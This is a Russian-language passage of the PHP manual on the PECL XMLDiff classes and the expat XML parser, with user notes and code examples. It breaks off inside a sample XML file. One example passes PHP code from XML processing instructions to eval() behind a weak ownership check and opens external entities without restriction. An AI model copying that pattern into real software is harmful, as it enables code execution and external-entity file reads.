Информацию об установке этого PECL-модуля даёт глава руководства «Установка PECL-модулей». Дополнительная информация о новых версиях, скачивании, исходных файлах, о разработчике и журнале изменений доступна по ссылке: » https://pecl.php.net/package/xmldiff.

DLL для этого PECL модуля доступна по ссылке » http://windows.php.net/downloads/pecl/releases/xmldiff/.

User Contributed Notes

There are no user contributed notes for this page.


Класс XMLDiff\Base

(PECL xmldiff >= 0.8.0)

Введение

Базовый абстрактный класс для всех классов сравнения данного модуля.

Обзор классов

class XMLDiff\Base {
/* Методы */
public __construct(string $nsname)
abstract public diff(mixed $from, mixed $to): mixed
abstract public merge(mixed $src, mixed $diff): mixed
}

Содержание

  • XMLDiff\Base::__construct — Конструктор
  • XMLDiff\Base::diff — Производит сравнение двух документов XML
  • XMLDiff\Base::merge — Создаёт новый документ XML, основываясь на информации о его отличии от другого

User Contributed Notes

There are no user contributed notes for this page.


Конструктор

  • « XMLDiff\Base
  • XMLDiff\Base::diff »
  • PHP Manual
  • XMLDiff\Base
  • Конструктор

XMLDiff\Base::__construct

(PECL xmldiff >= 0.8.0)

XMLDiff\Base::__construct — Конструктор

Описание

public XMLDiff\Base::__construct(string $nsname)

Базовый конструктор для всех рабочих классов модуля xmldiff.

Список параметров

nsname

Выбранное имя пространства имён для сравнения документов. Пространство имён по умолчанию http://www.locus.cz/diffmark и этого достаточно для избежания конфликта пространств имён. Используйте этот параметр, если, по какой либо причине, вы хотите поменять значение по умолчанию.

User Contributed Notes

There are no user contributed notes for this page.


Производит сравнение двух документов XML

  • « XMLDiff\Base::__construct
  • XMLDiff\Base::merge »
  • PHP Manual
  • XMLDiff\Base
  • Производит сравнение двух документов XML

XMLDiff\Base::diff

(PECL xmldiff >= 0.8.0)

XMLDiff\Base::diff — Производит сравнение двух документов XML

Описание

abstract public XMLDiff\Base::diff(mixed $from, mixed $to): mixed

Абстрактный метод сравнения для реализации в классах наследниках.

Главная задача этого метода - создание списка различий двух документов. Порядок входных параметров важен, так как от него зависит результат.

Список параметров

from

Исходный документ XML.

to

XML документ, с которым производится сравнение.

Возвращаемые значения

Зависит от реализации.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый документ XML, основываясь на информации о его отличии от другого

  • « XMLDiff\Base::diff
  • XMLDiff\DOM »
  • PHP Manual
  • XMLDiff\Base
  • Создаёт новый документ XML, основываясь на информации о его отличии от другого

XMLDiff\Base::merge

(PECL xmldiff >= 0.8.0)

XMLDiff\Base::merge — Создаёт новый документ XML, основываясь на информации о его отличии от другого

Описание

abstract public XMLDiff\Base::merge(mixed $src, mixed $diff): mixed

Абстрактный метод сравнения для реализации в классах наследниках.

Основная цель метода - создание нового документа основываясь на информации о различиях двух документов.

Список параметров

src

Исходный документ XML.

diff

Документ, созданный методом, реализующего абстрактный метод XMLDiff\Base::diff.

Возвращаемые значения

Зависит от реализации.

User Contributed Notes

There are no user contributed notes for this page.


Класс XMLDiff\DOM

(PECL xmldiff >= 0.8.0)

Введение

Обзор классов

class XMLDiff\DOM extends XMLDiff\Base {
/* Методы */
public diff(DOMDocument $from, DOMDocument $to): DOMDocument
public merge(DOMDocument $src, DOMDocument $diff): DOMDocument
/* Наследуемые методы */
abstract public XMLDiff\Base::diff(mixed $from, mixed $to): mixed
abstract public XMLDiff\Base::merge(mixed $src, mixed $diff): mixed
}

Содержание

  • XMLDiff\DOM::diff — Поиск различий в двух объектах DOMDocument
  • XMLDiff\DOM::merge — Объединяет объект DOMDocument, на основании другого объекта DOMDocument, полученного с помощью XMLDiff\DOM::diff

User Contributed Notes

There are no user contributed notes for this page.


Поиск различий в двух объектах DOMDocument

  • « XMLDiff\DOM
  • XMLDiff\DOM::merge »
  • PHP Manual
  • XMLDiff\DOM
  • Поиск различий в двух объектах DOMDocument

XMLDiff\DOM::diff

(PECL xmldiff >= 0.8.0)

XMLDiff\DOM::diff — Поиск различий в двух объектах DOMDocument

Описание

public XMLDiff\DOM::diff(DOMDocument $from, DOMDocument $to): DOMDocument

Ищет различия в двух объектах DOMDocument и возвращает новый объект, содержащий эти различия.

Список параметров

from

Исходный объект DOMDocument.

to

Объект DOMDocument, с которым производится сравнение.

Возвращаемые значения

Новый объект DOMDocument с информацией о найденных отличиях, или NULL.

User Contributed Notes

jeewiya at gmail dot com 28-Mar-2018 10:43
XMLDiff\DOM can be use like this, for compare xml files changes.

<?php

function getChangeElements($currentContent, $oldContent) {
        try {
            $currentDoc = new DOMDocument();
            $currentDoc->loadXML($currentContent);

            $oldDoc = new DOMDocument();
            $oldDoc->loadXML($oldContent);
            $xmldiff = new XMLDiff\DOM();
            return $xmldiff->diff($oldDoc, $currentDoc);
        } catch (Exception $ex) {
            throw $ex;
        }
    }

getChangeElements('updated.xml', 'old.xml');

?>


Объединяет объект DOMDocument, на основании другого объекта DOMDocument, полученного с помощью XMLDiff\DOM::diff

  • « XMLDiff\DOM::diff
  • XMLDiff\Memory »
  • PHP Manual
  • XMLDiff\DOM
  • Объединяет объект DOMDocument, на основании другого объекта DOMDocument, полученного с помощью XMLDiff\DOM::diff

XMLDiff\DOM::merge

(PECL xmldiff >= 0.8.0)

XMLDiff\DOM::merge — Объединяет объект DOMDocument, на основании другого объекта DOMDocument, полученного с помощью XMLDiff\DOM::diff

Описание

public XMLDiff\DOM::merge(DOMDocument $src, DOMDocument $diff): DOMDocument

Объединяет объект DOMDocument, на основании другого объекта DOMDocument, полученного с помощью XMLDiff\DOM::diff.

Список параметров

src

Исходный объект DOMDocument.

diff

Объект DOMDocument, содержащий информацию, полученную с помощью XMLDiff\DOM::diff.

Возвращаемые значения

Объединённый DOMDocument или NULL.

User Contributed Notes

There are no user contributed notes for this page.


Класс XMLDiff\Memory

(PECL xmldiff >= 0.8.0)

Введение

Обзор классов

class XMLDiff\Memory extends XMLDiff\Base {
/* Методы */
public diff(string $from, string $to): string
public merge(string $src, string $diff): string
/* Наследуемые методы */
abstract public XMLDiff\Base::diff(mixed $from, mixed $to): mixed
abstract public XMLDiff\Base::merge(mixed $src, mixed $diff): mixed
}

Содержание

  • XMLDiff\Memory::diff — Сравнение двух документов XML
  • XMLDiff\Memory::merge — Применить изменения к документу XML

User Contributed Notes

There are no user contributed notes for this page.


Сравнение двух документов XML

  • « XMLDiff\Memory
  • XMLDiff\Memory::merge »
  • PHP Manual
  • XMLDiff\Memory
  • Сравнение двух документов XML

XMLDiff\Memory::diff

(PECL xmldiff >= 0.8.0)

XMLDiff\Memory::diff — Сравнение двух документов XML

Описание

public XMLDiff\Memory::diff(string $from, string $to): string

Сравнивает две строки с XML и возвращает строку с информацией о различиях.

Список параметров

from

XML-документ источник.

to

Целевой XML-документ.

Возвращаемые значения

Строка с XML-документом, содержащая информацию о различиях, либо null.

User Contributed Notes

There are no user contributed notes for this page.


Применить изменения к документу XML

  • « XMLDiff\Memory::diff
  • XMLDiff\File »
  • PHP Manual
  • XMLDiff\Memory
  • Применить изменения к документу XML

XMLDiff\Memory::merge

(PECL xmldiff >= 0.8.0)

XMLDiff\Memory::merge — Применить изменения к документу XML

Описание

public XMLDiff\Memory::merge(string $src, string $diff): string

Создаёт новый документ XML на базе документа источника и списка изменений.

Список параметров

src

XML-документ источник.

diff

XML-документ, содержащий информацию об изменениях.

Возвращаемые значения

Строка с новым XML-документом или null.

User Contributed Notes

There are no user contributed notes for this page.


Класс XMLDiff\File

(PECL xmldiff >= 0.8.0)

Введение

Обзор классов

class XMLDiff\File extends XMLDiff\Base {
/* Методы */
public diff(string $from, string $to): string
public merge(string $src, string $diff): string
/* Наследуемые методы */
abstract public XMLDiff\Base::diff(mixed $from, mixed $to): mixed
abstract public XMLDiff\Base::merge(mixed $src, mixed $diff): mixed
}

Содержание

  • XMLDiff\File::diff — Сравнение двух файлов XML
  • XMLDiff\File::merge — Применить изменения к документу XML

User Contributed Notes

ngbabu at gmail dot com 21-Nov-2015 08:45
The following snippet will show the use case of XMLDiff\File.

<?php
$dxml=new XMLDiff\File;
$diff = $dxml->diff("file1.xml", "file2.xml");
$difffile = 'difference.xml';
file_put_contents($difffile, $diff);
?>


Сравнение двух файлов XML

  • « XMLDiff\File
  • XMLDiff\File::merge »
  • PHP Manual
  • XMLDiff\File
  • Сравнение двух файлов XML

XMLDiff\File::diff

(PECL xmldiff >= 0.8.0)

XMLDiff\File::diff — Сравнение двух файлов XML

Описание

public XMLDiff\File::diff(string $from, string $to): string

Сравнивает два локальных файла XML и возвращает строку с информацией о различиях.

Список параметров

from

Путь к документу источнику.

to

Путь к целевому документу.

Возвращаемые значения

Строка с XML-документом, содержащая информацию о различиях, либо null.

User Contributed Notes

There are no user contributed notes for this page.


Применить изменения к документу XML

  • « XMLDiff\File::diff
  • Разбор XML »
  • PHP Manual
  • XMLDiff\File
  • Применить изменения к документу XML

XMLDiff\File::merge

(PECL xmldiff >= 0.8.0)

XMLDiff\File::merge — Применить изменения к документу XML

Описание

public XMLDiff\File::merge(string $src, string $diff): string

Создаёт новый документ XML на базе документа источника и списка изменений.

Список параметров

src

Путь к XML-документу источнику.

diff

Путь к XML-документу, содержащему информацию об изменениях.

Возвращаемые значения

Строка с новым XML-документом или null.

User Contributed Notes

There are no user contributed notes for this page.


Разбор XML

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Обработчики событий
  • Приведение к единому регистру
  • Коды ошибок
  • Кодировка символов
  • Примеры
    • Пример Структуры Элемента XML
    • Пример отображения XML тегов
    • Пример использования внешних сущностей XML
  • Функции парсера XML
    • xml_error_string — Получение строки ошибки XML-анализатора
    • xml_get_current_byte_index — Получает текущий для XML-анализатора байтовый индекс
    • xml_get_current_column_number — Получает от XML-анализатора номер текущего столбца
    • xml_get_current_line_number — Получает от XML-анализатора номер текущей строки
    • xml_get_error_code — Получает код ошибки XML-анализатора
    • xml_parse_into_struct — Разбор XML-данных и помещение в массив
    • xml_parse — Запускает разбор XML-документа
    • xml_parser_create_ns — Создание XML-анализатора с поддержкой пространств имён
    • xml_parser_create — Создаёт XML-анализатор
    • xml_parser_free — Освобождение XML-анализатора
    • xml_parser_get_option — Получает значения настройки XML-анализатора
    • xml_parser_set_option — Установка значения настройки XML-анализатора
    • xml_set_character_data_handler — Установка обработчика символьных данных
    • xml_set_default_handler — Установка обработчика по умолчанию
    • xml_set_element_handler — Устанавливает обработчик начального и конечного элементов
    • xml_set_end_namespace_decl_handler — Установка обработчика выхода за пределы пространства имён
    • xml_set_external_entity_ref_handler — Установка обработчика внешних сущностей
    • xml_set_notation_decl_handler — Установка обработчика объявления условных обозначений
    • xml_set_object — Использование XML-анализатора внутри объекта
    • xml_set_processing_instruction_handler — Установка обработчика инструкций препроцессора (PI)
    • xml_set_start_namespace_decl_handler — Устанавливает обработчик входа в пределы пространства имён
    • xml_set_unparsed_entity_decl_handler — Установка обработчика неразобранных объявлений сущностей
  • XMLParser — Класс XMLParser

User Contributed Notes

marcgear at gmail dot com 04-Aug-2010 10:12
While this SAX event based parser is better for memory management than the tree based parsers of SimpleXML and DOM, the pull-based parser XMLReader is much easier to use than the xml_parser_* functions, and still doesn't require loading the file into memory.


Введение

XML (eXtensible Markup Language - расширяемый язык разметки) - это формат данных для обмена структурированными документами в всемирной сети. Данный стандарт определён Консорциумом Всемирной паутины (W3C). Информация об XML и связанных технологиях может быть найдена на » http://www.w3.org/XML/.

Данный модуль PHP реализует поддержку библиотеки expat Джеймса Кларка в PHP. Данный инструментарий позволяет Вам разбирать, но не проверять XML-документы. Он поддерживает три кодировки символов исходного текста также поддерживаемых PHP: US-ASCII, ISO-8859-1 и UTF-8. UTF-16 не поддерживается.

Модуль позволит вам создавать XML-анализаторы и далее определить обработчики для различных событий. Каждый XML-анализатор также имеет несколько параметров, которые вы можете настраивать.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для корректной работы этого модуля необходим PHP-модуль libxml. Это означает, что также необходима передача опции --with-libxml, или до PHP 7.4 --enable-libxml, хотя неявно это уже сделано, так как поддержка libxml по умолчанию включена.

Модуль использует expat-совместимый слой по умолчанию. Также может быть использован expat, который может быть найден здесь: » https://libexpat.github.io/. Makefile, поставляемый с expat не создаёт библиотеку по умолчанию, вы можете использовать следующее правило для этого:

libexpat.a: $(OBJS)
    ar -rc $@ $(OBJS)
    ranlib $@
Исходный RPM пакет expat может быть найден здесь:» https://sourceforge.net/projects/expat/.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Модуль включён по умолчанию. Он может быть отключён во время выполнения опцией: --disable-xml

Эти функции включены по умолчанию при использовании стандартной библиотеки expat. Вы можете отключить поддержку XML с помощью --disable-xml. Если вы собрали PHP как модуль для Apache 1.3.9 или более поздней версии, PHP будет автоматически использовать стандартную библиотеку expat из Apache. В случае, если вы не хотите использовать стандартную библиотеку expat, то вам необходимо настроить PHP опцию --with-expat-dir=DIR, где DIR - путь до установочной директории библиотеки expat.

Версия PHP для Windows имеет встроенную поддержку этого модуля. То есть для вызова этих функций не нужна загрузка дополнительных модулей.

User Contributed Notes

Alex Ivaylov 15-Feb-2018 09:03
Ubuntu users, please note that this extension might not enabled for you by default. You may need to install by doing "sudo apt-get install php-xml" followed by web server restart.


Типы ресурсов

До PHP 8.0.0 xml-ресурс, возвращаемый xml_parser_create() и xml_parser_create_ns(), ссылается на сущность xml-парсера, чтобы иметь возможность использовать функции этого модуля.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Модуль определяет перечисленные ниже константы и открывает к ним доступ только тогда, когда модуль либо собрали в PHP, либо динамически загрузили во время исполнения кода.

XML_ERROR_NONE (int)
XML_ERROR_NO_MEMORY (int)
XML_ERROR_SYNTAX (int)
XML_ERROR_NO_ELEMENTS (int)
XML_ERROR_INVALID_TOKEN (int)
XML_ERROR_UNCLOSED_TOKEN (int)
XML_ERROR_PARTIAL_CHAR (int)
XML_ERROR_TAG_MISMATCH (int)
XML_ERROR_DUPLICATE_ATTRIBUTE (int)
XML_ERROR_JUNK_AFTER_DOC_ELEMENT (int)
XML_ERROR_PARAM_ENTITY_REF (int)
XML_ERROR_UNDEFINED_ENTITY (int)
XML_ERROR_RECURSIVE_ENTITY_REF (int)
XML_ERROR_ASYNC_ENTITY (int)
XML_ERROR_BAD_CHAR_REF (int)
XML_ERROR_BINARY_ENTITY_REF (int)
XML_ERROR_ATTRIBUTE_EXTERNAL_ENTITY_REF (int)
XML_ERROR_MISPLACED_XML_PI (int)
XML_ERROR_UNKNOWN_ENCODING (int)
XML_ERROR_INCORRECT_ENCODING (int)
XML_ERROR_UNCLOSED_CDATA_SECTION (int)
XML_ERROR_EXTERNAL_ENTITY_HANDLING (int)
XML_OPTION_CASE_FOLDING (int)
XML_OPTION_TARGET_ENCODING (int)
XML_OPTION_SKIP_TAGSTART (int)
XML_OPTION_SKIP_WHITE (int)
XML_SAX_IMPL (string)
Устанавливает стандарт обработки SAX. Может быть libxml или expat.

User Contributed Notes

There are no user contributed notes for this page.


Обработчики событий

Список обработчиков событий XML:

Поддерживаемые XML обработчики
Функции PHP для установки обработчика | Описание события
xml_set_element_handler() | События элементов выдаются каждый раз, когда XML парсер встречает начальный или конечный тэги. Есть разные обработчики для начальных и конечных тэгов.
xml_set_character_data_handler() | Символьные данные это примерно всё неразмеченное содержимое XML документов, включая непечатные символы между тэгами. Отметим, что XML анализатор не добавляет или удаляет никаких непечатных символов, так как это приложение (то есть пользователь) решает где непечатные символы значительны.
xml_set_processing_instruction_handler() | PHP программисты должны быть уже знакомы с инструкциями обработки (PIs). <?php ?> является обрабатывающей инструкцией, где php является вызываемой "PI целью". Обработка этих инструкций зависит от программы, за исключением того, что все цели PI начинаются с зарезервированного слова "XML".
xml_set_default_handler() | Если нет специального обработчика, то вызывается обработчик по умолчанию. Вы получите XML и объявления типов документа при помощи обработчика по умолчанию.
xml_set_unparsed_entity_decl_handler() | Этот обработчик будет вызываться для декларирования непроанализированных (NDATA) сущностей.
xml_set_notation_decl_handler() | Этот обработчик вызывается при объявлении нотации.
xml_set_external_entity_ref_handler() | Этот обработчик вызывается когда анализатор XML находит ссылку на внешнюю сущность. Например, это может быть ссылка на файл или URL. Смотрите пример внешней сущности.
xml_set_start_namespace_decl_handler() | Этот обработчик вызывается в начале объявления пространства имён.
xml_set_end_namespace_decl_handler() | Этот обработчик вызывается в конце объявления пространства имён. Отметим, что это событие не вызывается LibXML.

User Contributed Notes

There are no user contributed notes for this page.


Приведение к единому регистру

Функции-обработчики элементов могут получать имена своих элементов приведёнными к единому регистру. Приведение к единому регистру определяют как «обработку последовательности символов, при которой символы, которые функция идентифицировала как „не в верхнем регистре", заменяются эквивалентами верхнего регистра». Говоря по-другому, когда дело касается XML, приведение к единому регистру означает просто перевод символов в верхний регистр.

Регистр имён элементов, которые передают функциям-обработчикам, по умолчанию выравнивается. Такое поведение для каждого отдельного XML-парсера запрашивают функцией xml_parser_get_option(), а управляют — функцией xml_parser_set_option().

User Contributed Notes

There are no user contributed notes for this page.


Коды ошибок

Следующие константы определены для кодов ошибок XML (возвращаемых функцией xml_parse()):

  • XML_ERROR_NONE
  • XML_ERROR_NO_MEMORY
  • XML_ERROR_SYNTAX
  • XML_ERROR_NO_ELEMENTS
  • XML_ERROR_INVALID_TOKEN
  • XML_ERROR_UNCLOSED_TOKEN
  • XML_ERROR_PARTIAL_CHAR
  • XML_ERROR_TAG_MISMATCH
  • XML_ERROR_DUPLICATE_ATTRIBUTE
  • XML_ERROR_JUNK_AFTER_DOC_ELEMENT
  • XML_ERROR_PARAM_ENTITY_REF
  • XML_ERROR_UNDEFINED_ENTITY
  • XML_ERROR_RECURSIVE_ENTITY_REF
  • XML_ERROR_ASYNC_ENTITY
  • XML_ERROR_BAD_CHAR_REF
  • XML_ERROR_BINARY_ENTITY_REF
  • XML_ERROR_ATTRIBUTE_EXTERNAL_ENTITY_REF
  • XML_ERROR_MISPLACED_XML_PI
  • XML_ERROR_UNKNOWN_ENCODING
  • XML_ERROR_INCORRECT_ENCODING
  • XML_ERROR_UNCLOSED_CDATA_SECTION
  • XML_ERROR_EXTERNAL_ENTITY_HANDLING

User Contributed Notes

Teet 24-May-2019 02:04
If you wonder, what values those constant have, here you go:

<?php
XML_ERROR_NONE = 0
XML_ERROR_NO_MEMORY = 1
XML_ERROR_SYNTAX = 2
XML_ERROR_NO_ELEMENTS = 3
XML_ERROR_INVALID_TOKEN = 4
XML_ERROR_UNCLOSED_TOKEN = 5
XML_ERROR_PARTIAL_CHAR = 6
XML_ERROR_TAG_MISMATCH = 7
XML_ERROR_DUPLICATE_ATTRIBUTE = 8
XML_ERROR_JUNK_AFTER_DOC_ELEMENT = 9
XML_ERROR_PARAM_ENTITY_REF = 10
XML_ERROR_UNDEFINED_ENTITY = 11
XML_ERROR_RECURSIVE_ENTITY_REF = 12
XML_ERROR_ASYNC_ENTITY = 13
XML_ERROR_BAD_CHAR_REF = 14
XML_ERROR_BINARY_ENTITY_REF = 15
XML_ERROR_ATTRIBUTE_EXTERNAL_ENTITY_REF = 16
XML_ERROR_MISPLACED_XML_PI = 17
XML_ERROR_UNKNOWN_ENCODING = 18
XML_ERROR_INCORRECT_ENCODING = 19
XML_ERROR_UNCLOSED_CDATA_SECTION = 20
XML_ERROR_EXTERNAL_ENTITY_HANDLING = 21
?>


Кодировка символов

Модуль XML в PHP поддерживает набор символов » Юникода через разные кодировки символов. Модуль работает с двумя типами кодировок символов: исходная кодировка и целевая кодировка. Внутреннее представление документа в PHP кодируется в кодировке UTF-8.

Исходное кодирование выполняется при анализе XML-документа. Исходную кодировку указывают, когда создают XML-анализатор (исходную кодировку нельзя изменить позже, во время работы XML-анализатора). Поддерживаются исходные кодировки ISO-8859-1, US-ASCII и UTF-8. Первые две — однобайтные кодировки, что означает, что каждый символ представлен одним байтом. Кодировка UTF-8 умеет кодировать символы, которые состоят из переменного числа битов (вплоть до 21), одним, двумя, тремя или четырьмя байтами. По умолчанию как исходную PHP использует кодировку ISO-8859-1.

Целевое кодирование выполняется, когда PHP передаёт данные функциям-обработчикам XML. Когда создаётся XML-анализатор, PHP устанавливает целевую кодировку эквивалентной исходной кодировке, но целевую кодировку разрешается изменять в любой момент. Целевая кодировка затронет символьные данные, а также имена тегов и цели инструкций обработки.

XML-анализатор вернёт ошибку, если встретит символы вне диапазона символов исходной кодировки.

Если в разбираемом XML-документе PHP встречает символы, которые невозможно представить в целевой кодировке, PHP «понижает» проблемные символы, то есть заменяет такие символы вопросительным знаком.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Пример Структуры Элемента XML
  • Пример отображения XML тегов
  • Пример использования внешних сущностей XML

User Contributed Notes

There are no user contributed notes for this page.


Пример Структуры Элемента XML

Первый пример отображает структуру начальных элементов в документе с отступом.

Пример #1 Показать структуру элемента XML

<?php
$file = "data.xml";
$depth = 0;
function startElement($parser, $name, $attrs)
{
global $depth;
for ($i = 0; $i < $depth; $i++) {
echo " ";
}
echo "$name\n";
$depth++;
}
function endElement($parser, $name)
{
global $depth;
$depth--;
}

$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "startElement", "endElement");
if (!($fp = fopen($file, "r"))) {
die("Невозможно произвести чтение XML");
}

while ($data = fread($fp, 4096)) {
if (!xml_parse($xml_parser, $data, feof($fp))) {
die(sprintf("Ошибка XML: %s на строке %d",
xml_error_string(xml_get_error_code($xml_parser)),
xml_get_current_line_number($xml_parser)));
}
}
xml_parser_free($xml_parser);
?>

User Contributed Notes

Joachim Kruyswijk 27-Jun-2022 02:08
If you use strict_types=1, you'll get the warning "Notice: Resource ID#... used as offset, casting to integer".

Use

<?php $depth[(int) $parser]  ?>

instead of

<?php $depth[$parser]  ?>
Sample at hotmail dot com 04-Jul-2013 10:32
<?php

public static function xml2array($element, $arr = array())
    {
        if(is_string($element))
        {
            $element = (strlen($element) > 5 && substr($element, -4) === '.xml')
                            ? simplexml_load_file(DATAPATH.$element)
                            : simplexml_load_string($element);
        }
         $iter = 0;
        foreach($element->children() as $b)
        {
            $a = $b->getName();
            if(!$b->children()){
                    $arr[$a] = trim($b[0]);
            }
            else{
                    $arr[$a][$iter] = array();
                    $arr[$a][$iter] = self::xml2array($b,$arr[$a][$iter]);
            }
                $iter++;
        }
        return $arr;
    }
}

?>
roan at horning dot us 30-Oct-2009 09:07
The following example will echo back an xml file using the basic event based parser.  Currently, (at least in the version of PHP5 I'm using) it will skip The XML declaration and the Doctype declaration--they don't seem to be captured by the default handler.

<?php
echo "<pre>";

$file = "test.xml";
echo $file."\n";
global $inTag;

$inTag = "";
$xml_parser = xml_parser_create();
xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, 0);
xml_parser_set_option($xml_parser, XML_OPTION_SKIP_WHITE, 1);
xml_set_processing_instruction_handler($xml_parser, "pi_handler");
xml_set_default_handler($xml_parser, "parseDEFAULT");
xml_set_element_handler($xml_parser, "startElement", "endElement");
xml_set_character_data_handler($xml_parser, "contents");

if (!($fp = fopen($file, "r"))) {
    if (!xml_parse($xml_parser, $data, feof($fp))) {
       die( sprintf("XML error: %s at line %d",
                            xml_error_string(xml_get_error_code($xml_parser)),
                            xml_get_current_line_number($xml_parser)));
    }
}
while ($data = fread($fp, 4096)) {
    if (!xml_parse($xml_parser, $data, feof($fp))) {
       die( sprintf("XML error: %s at line %d",
                            xml_error_string(xml_get_error_code($xml_parser)),
                            xml_get_current_line_number($xml_parser)));
    }
}
xml_parser_free($xml_parser);

function startElement($parser, $name, $attrs) {

    global $inTag;
    global $depth;

    $padTag = str_repeat(str_pad(" ", 3), $depth);

    if (!($inTag == "")) {
        echo "&gt;";
    }
    echo "\n$padTag&lt;$name";
    foreach ($attrs as $key => $value) {
        echo "\n$padTag".str_pad(" ", 3);
        echo " $key=\"$value\"";
    }
    $inTag = $name;
    $depth++;
}

function endElement($parser, $name) {

    global $depth;
   global $inTag;
    global $closeTag;

    $depth--;

   if ($closeTag == TRUE) {
       echo "&lt/$name&gt;";
       $inTag = "";
   } elseif ($inTag == $name) {
       echo " /&gt;";
       $inTag = "";
   } else {
         $padTag = str_repeat(str_pad(" ", 3), $depth);
       echo "\n$padTag&lt/$name&gt;";
    }
}

function contents($parser, $data) {

    global $closeTag;

    $data = preg_replace("/^\s+/", "", $data);
    $data = preg_replace("/\s+$/", "", $data);

    if (!($data == ""))  {
        echo "&gt;$data";
        $closeTag = TRUE;
    } else {
        $closeTag = FALSE;
     }
}

function parseDEFAULT($parser, $data) {

    $data = preg_replace("/</", "&lt;", $data);
    $data = preg_replace("/>/", "&gt;", $data);
    echo $data;
}

function pi_handler($parser, $target, $data) {

    echo "&lt;?$target $data?&gt;\n";
}
echo "</pre>";
?>


Пример отображения XML тегов

Пример #1 Отображение XML в HTML

Этот пример отображает теги XML документа непосредственно в HTML тегах. Элементы не найденные в "массиве отображения" игнорируются. Конечно, этот пример будет работать только с определённым типом документа XML.

<?php
$file = "data.xml";
$map_array = array(
"BOLD" => "B",
"EMPHASIS" => "I",
"LITERAL" => "TT"
);

function startElement($parser, $name, $attrs)
{
global $map_array;
if (isset($map_array[$name])) {
echo "<$map_array[$name]>";
}
}

function endElement($parser, $name)
{
global $map_array;
if (isset($map_array[$name])) {
echo "</$map_array[$name]>";
}
}

function characterData($parser, $data)
{
echo $data;
}

$xml_parser = xml_parser_create();
// use case-folding so we are sure to find the tag in $map_array
xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, true);
xml_set_element_handler($xml_parser, "startElement", "endElement");
xml_set_character_data_handler($xml_parser, "characterData");
if (!($fp = fopen($file, "r"))) {
die("Невозможно произвести чтение XML");
}

while ($data = fread($fp, 4096)) {
if (!xml_parse($xml_parser, $data, feof($fp))) {
die(sprintf("XML error: %s at line %d",
xml_error_string(xml_get_error_code($xml_parser)),
xml_get_current_line_number($xml_parser)));
}
}
xml_parser_free($xml_parser);
?>

User Contributed Notes

There are no user contributed notes for this page.


Пример использования внешних сущностей XML

Этот пример подсвечивает код XML. Он иллюстрирует то, как необходимо использовать обработчик ссылки на внешнюю сущность для подключения и разбора содержимого внешних файлов, так же как может быть обработан PI, и путь для определения "доверия" к коду, содержащемуся в PI.

XML документы, которые используются в примере расположены под самим примером (xmltest.xml и xmltest2.xml.)

Пример #1 Пример использования внешней сущности

<?php
$file = "xmltest.xml";

function trustedFile($file)
{
// доверять только нашим собственным локальным файлам
if (!preg_match("@^([a-z][a-z0-9+.-]*)\:\/\/@i", $file)
&& fileowner($file) == getmyuid()) {
return true;
}
return false;
}

function startElement($parser, $name, $attribs)
{
echo "&lt;<font color=\"#0000cc\">$name</font>";
if (count($attribs)) {
foreach ($attribs as $k => $v) {
echo " <font color=\"#009900\">$k</font>=\"<font
color=\"#990000\">$v</font>\"";
}
}
echo "&gt;";
}

function endElement($parser, $name)
{
echo "&lt;/<font color=\"#0000cc\">$name</font>&gt;";
}

function characterData($parser, $data)
{
echo "<b>$data</b>";
}

function PIHandler($parser, $target, $data)
{
switch (strtolower($target)) {
case "php":
global $parser_file;
// Если обработанный документ является "доверенным", то можно сказать,
// что запуск расположенного в нем кода является безопасным. Если нет,
// то вместо запуска отобразить сам код.
if (trustedFile($parser_file[$parser])) {
eval($data);
} else {
printf("Небезопасный код PHP: <i>%s</i>",
htmlspecialchars($data));
}
break;
}
}

function defaultHandler($parser, $data)
{
if (substr($data, 0, 1) == "&" && substr($data, -1, 1) == ";") {
printf('<font color="#aa00aa">%s</font>',
htmlspecialchars($data));
} else {
printf('<font size="-1">%s</font>',
htmlspecialchars($data));
}
}

function externalEntityRefHandler($parser, $openEntityNames, $base, $systemId,
$publicId) {
if ($systemId) {
if (!list($parser, $fp) = new_xml_parser($systemId)) {
printf("Невозможно открыть сущность %s в %s\n", $openEntityNames,
$systemId);
return false;
}
while ($data = fread($fp, 4096)) {
if (!xml_parse($parser, $data, feof($fp))) {
printf("Ошибка XML: %s в строке %d в процессе разбора сущности %s\n",
xml_error_string(xml_get_error_code($parser)),
xml_get_current_line_number($parser), $openEntityNames);
xml_parser_free($parser);
return false;
}
}
xml_parser_free($parser);
return true;
}
return false;
}

function new_xml_parser($file)
{
global $parser_file;

$xml_parser = xml_parser_create();
xml_parser_set_option($xml_parser, XML_OPTION_CASE_FOLDING, 1);
xml_set_element_handler($xml_parser, "startElement", "endElement");
xml_set_character_data_handler($xml_parser, "characterData");
xml_set_processing_instruction_handler($xml_parser, "PIHandler");
xml_set_default_handler($xml_parser, "defaultHandler");
xml_set_external_entity_ref_handler($xml_parser, "externalEntityRefHandler");

if (!($fp = @fopen($file, "r"))) {
return false;
}
if (!is_array($parser_file)) {
settype($parser_file, "array");
}
$parser_file[$xml_parser] = $file;
return array($xml_parser, $fp);
}

if (!(list($xml_parser, $fp) = new_xml_parser($file))) {
die("Чтение XML-файла невозможно");
}

echo "<pre>";
while ($data = fread($fp, 4096)) {
if (!xml_parse($xml_parser, $data, feof($fp))) {
die(sprintf("Ошибка XML: %s в строке %d\n",
xml_error_string(xml_get_error_code($xml_parser)),
xml_get_current_line_number($xml_parser)));
}
}
echo "</pre>";
echo "разбор завершён\n";
xml_parser_free($xml_parser);

?>

Пример #2 xmltest.xml

<?xml version='1.0'?>
<!DOCTYPE chapter SYSTEM "/just/a/test.dtd" [
<!ENTITY plainEntity "FOO entity">
<!ENTITY systemEntity SYSTEM "xmltest2.xml">
]>
<chapter>
 <TITLE>Title &plainEntity;</TITLE>
 <para>
  <informaltable>
   <tgroup cols="3">
    <tbody>
     <row><entry>a1</entry><entry morerows="1">b1</entry><entry>c1</entry></row>
     <row><entry>a2</entry><entry>c2</entry></row>
     <row><entry>a3</entry><entry>b3</entry><entry>c3</entry></row>
    </tbody>
   </tgroup>
  </informaltable>
 </para>
 &systemEntity;
 <section id="about">
